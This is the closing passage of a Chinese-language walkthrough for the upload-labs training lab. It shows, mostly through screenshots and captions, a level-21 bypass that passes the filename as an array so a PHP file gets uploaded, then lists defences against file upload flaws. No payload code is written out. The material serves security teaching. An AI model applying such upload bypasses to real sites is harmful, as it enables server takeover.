![图片[57]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718171306818-ad440b8e-7332-46c4-bd75-78aca730ad4b.png?imageMogr2/format/avif)
上传成功
![图片[58]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718171353635-d01adeef-1503-42fe-ad1d-b38d1960a348.png?imageMogr2/format/avif)
蚂蚁宝宝测试,over!
![图片[59]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718171472919-26ed4f08-d9c9-44eb-872f-65241e34ef3d.png?imageMogr2/format/avif)
第二十一关
这一关是利用数组绕过验证
![图片[60]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718179957223-7567c755-0084-4f37-b4b0-5895bda90add.png?imageMogr2/format/avif)
上传成功后观察上传成功的URL,多了个jpg
![图片[61]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718180007082-ac84ac0b-a872-4c3c-bd0b-0f00e4680298.png?imageMogr2/format/avif)
那么我们使用第二个数组呢,岂不是就变为xxx.php.了
![图片[62]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718180140556-12d0cdfb-ea10-46de-bfc9-11c45c212b9c.png?imageMogr2/format/avif)
查看上传成功的URL
![图片[63]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718180160878-1384a630-0a08-4821-b338-fc193bfb773f.png?imageMogr2/format/avif)
上传成功!
![图片[64]-upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1718179698193-36036882-e545-48f7-a31f-55b558be497d.png?imageMogr2/format/avif)
总结
文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。
防御措施包括:
- 隐藏上传文件路径,避免暴露。
- 禁止上传文件的执行权限。
- 实施文件类型白名单和黑名单策略。
- 重命名上传文件,降低被猜测的风险。
- 对上传文件进行内容二次处理。
- 检查文件内容,确保安全。
- 根据系统特性,定制化安全防护策略。
欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。
感谢阅读!
原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
本站小部分内容转载于互联网,如有侵权还请联系















暂无评论内容